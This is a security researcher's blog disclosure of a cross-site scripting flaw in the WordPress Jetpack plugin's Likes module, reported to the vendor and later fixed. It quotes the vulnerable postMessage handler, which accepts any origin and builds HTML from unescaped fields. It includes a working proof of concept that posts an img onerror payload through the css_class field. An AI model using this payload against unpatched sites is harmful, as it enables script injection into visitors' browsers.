Jetpack, how to supercharge your WP blog with a XSS

- 11 mins

Wordpress is the commonly used blog framework/platform, indeed, if a user needs to be ready in short times or just want to handle his own blog can setup a wordpress intance in few minutes.

Charging WP

Wordpress itself provides a bunch of recommended plugins. The first one in the list is Jetpack (owned by Automattic). Jetpack is an all-in-one solutions to boost traffic, performance and protection… or, at least, it should be.

The `Likes Module´

Jetpack, as said, has some useful modules. One of them is the likes module. This one shows Wordpress users that put a like on the post and let them collect and organize blog articles on their own wp.com account. If enabled, the plugin add a JS postMessage listener for a likesMessage event.

pm.bind( 'likesMessage', function(e) { JetpackLikesMessageListener(e); } );

The main point is that this handler accept messages from any origin domain. Let’s give a look at JetpackLikesMessageListener function.

function JetpackLikesMessageListener( event ) {
	if ( 'undefined' === typeof event.event ) {
		return;
	}

	if ( 'masterReady' === event.event ) {
		jQuery( document ).ready( function() {
			jetpackLikesMasterReady = true;

			var stylesData = {
					event: 'injectStyles'
				},
				$sdTextColor = jQuery( '.sd-text-color' ),
				$sdLinkColor = jQuery( '.sd-link-color' );

			if ( jQuery( 'iframe.admin-bar-likes-widget' ).length > 0 ) {
				JetpackLikespostMessage( { event: 'adminBarEnabled' }, window.frames[ 'likes-master' ] );

				stylesData.adminBarStyles = {
					background: jQuery( '#wpadminbar .quicklinks li#wp-admin-bar-wpl-like > a' ).css( 'background' ),
					isRtl: ( 'rtl' === jQuery( '#wpadminbar' ).css( 'direction' ) )
				};
			}

			if ( ! window.addEventListener ) {
				jQuery( '#wp-admin-bar-admin-bar-likes-widget' ).hide();
			}

			stylesData.textStyles = {
				color:          $sdTextColor.css( 'color' ),
				fontFamily:     $sdTextColor.css( 'font-family' ),
				fontSize:       $sdTextColor.css( 'font-size' ),
				direction:      $sdTextColor.css( 'direction' ),
				fontWeight:     $sdTextColor.css( 'font-weight' ),
				fontStyle:      $sdTextColor.css( 'font-style' ),
				textDecoration: $sdTextColor.css('text-decoration')
			};

			stylesData.linkStyles = {
				color:          $sdLinkColor.css('color'),
				fontFamily:     $sdLinkColor.css('font-family'),
				fontSize:       $sdLinkColor.css('font-size'),
				textDecoration: $sdLinkColor.css('text-decoration'),
				fontWeight:     $sdLinkColor.css( 'font-weight' ),
				fontStyle:      $sdLinkColor.css( 'font-style' )
			};

			JetpackLikespostMessage( stylesData, window.frames[ 'likes-master' ] );

			JetpackLikesBatchHandler();

			jQuery( document ).on( 'inview', 'div.jetpack-likes-widget-unloaded', function() {
				jetpackLikesWidgetQueue.push( this.id );
			});
		});
	}

	if ( 'showLikeWidget' === event.event ) {
		jQuery( '#' + event.id + ' .post-likes-widget-placeholder'  ).fadeOut( 'fast', function() {
			jQuery( '#' + event.id + ' .post-likes-widget' ).fadeIn( 'fast', function() {
				JetpackLikespostMessage( { event: 'likeWidgetDisplayed', blog_id: event.blog_id, post_id: event.post_id, obj_id: event.obj_id }, window.frames['likes-master'] );
			});
		});
	}

	if ( 'clickReblogFlair' === event.event ) {
		wpcom_reblog.toggle_reblog_box_flair( event.obj_id );
	}

	if ( 'showOtherGravatars' === event.event ) {
		var $container = jQuery( '#likes-other-gravatars' ),
			$list = $container.find( 'ul' ),
			offset, rowLength, height, scrollbarWidth;

		$container.hide();
		$list.html( '' );

		$container.find( '.likes-text span' ).text( event.total );

		jQuery.each( event.likers, function( i, liker ) {
			$list.append( '<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>');
		} );

		offset = jQuery( '[name=\'' + event.parent + '\']' ).offset();

		$container.css( 'left', offset.left + event.position.left - 10 + 'px' );
		$container.css( 'top', offset.top + event.position.top - 33 + 'px' );

		rowLength = Math.floor( event.width / 37 );
		height = ( Math.ceil( event.likers.length / rowLength ) * 37 ) + 13;
		if ( height > 204 ) {
			height = 204;
		}

		$container.css( 'height', height + 'px' );
		$container.css( 'width', rowLength * 37 - 7 + 'px' );

		$list.css( 'width', rowLength * 37 + 'px' );

		$container.fadeIn( 'slow' );

		scrollbarWidth = $list[0].offsetWidth - $list[0].clientWidth;
		if ( scrollbarWidth > 0 ) {
			$container.width( $container.width() + scrollbarWidth );
			$list.width( $list.width() + scrollbarWidth );
		}
	}
}

What I immediately noticed is this code snippet

...
$list.html( '' );

$container.find( '.likes-text span' ).text( event.total );

jQuery.each( event.likers, function( i, liker ) {
  $list.append( '<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>');
} );
...

It seems that all liker properties are not sanitized or escaped before use. This allow to embed the most commonly used XSS payload ”><img src=x onerror=code> and trig some js code.

Engine On

Ok, to reach the target we’ve to post a custom js object which is handled firstly from the common listener dispatcher and then from the JetpackLikesMessageListener.

  
_dispatch: function(e) {
    //console.log("$.pm.dispatch", e, this);
    try {
        var msg = JSON.parse(e.data);
    } catch (ex) {
        //console.warn("postmessage data invalid json: ", ex); //message wasn't meant for pm
        return;
    }
    if (!msg.type) {
        //console.warn("postmessage message type required"); //message wasn't meant for pm
        return;
    }
    var cbs = pm.data("callbacks.postmessage") || {}
      , cb = cbs[msg.type];
    if (cb) {
        cb(msg.data);
    } else {
        var l = pm.data("listeners.postmessage") || {};
        var fns = l[msg.type] || [];
        for (var i = 0, len = fns.length; i < len; i++) {
            var o = fns[i];
            if (o.origin && o.origin !== '*' && e.origin !== o.origin) {
                console.warn("postmessage message origin mismatch", e.origin, o.origin);
                if (msg.errback) {
                    // notify post message errback
                    var error = {
                        message: "postmessage origin mismatch",
                        origin: [e.origin, o.origin]
                    };
                    pm.send({
                        target: e.source,
                        data: error,
                        type: msg.errback
                    });
                }
                continue;
            }
            function sendReply(data) {
                if (msg.callback) {
                    pm.send({
                        target: e.source,
                        data: data,
                        type: msg.callback
                    });
                }
            }
            try {
                if (o.callback) {
                    o.fn(msg.data, sendReply, e);
                } else {
                    sendReply(o.fn(msg.data, e));
                }
            } catch (ex) {
                if (msg.errback) {
                    // notify post message errback
                    pm.send({
                        target: e.source,
                        data: ex,
                        type: msg.errback
                    });
                } else {
                    throw ex;
                }
            }
        }
        ;
    }
}

So we’ve to post an object with type and data properties where the data one contains event property and the likers one. Our final code will looks like the following one.

// load the target page
...
target.postMessage(
  JSON.stringify({
    type: 'likesMessage',
    data: {
      event:'showOtherGravatars',
      likers: [
        {
          css_class: '"><img src=x onerror=alert(0)>'
        }
      ]
    }
  })
)
...

Great team === great results

Once found, I informed the vendor through h1 that immediately triaged my report and pushed out a fix in a short time. The first patch has only an origin check so I suggested them to apply a check for profile_URL protocol too.

Luciano Corsalini

Luciano Corsalini

another it sec guy with coding passion

rss facebook twitter github youtube mail spotify instagram linkedin google pinterest medium vimeo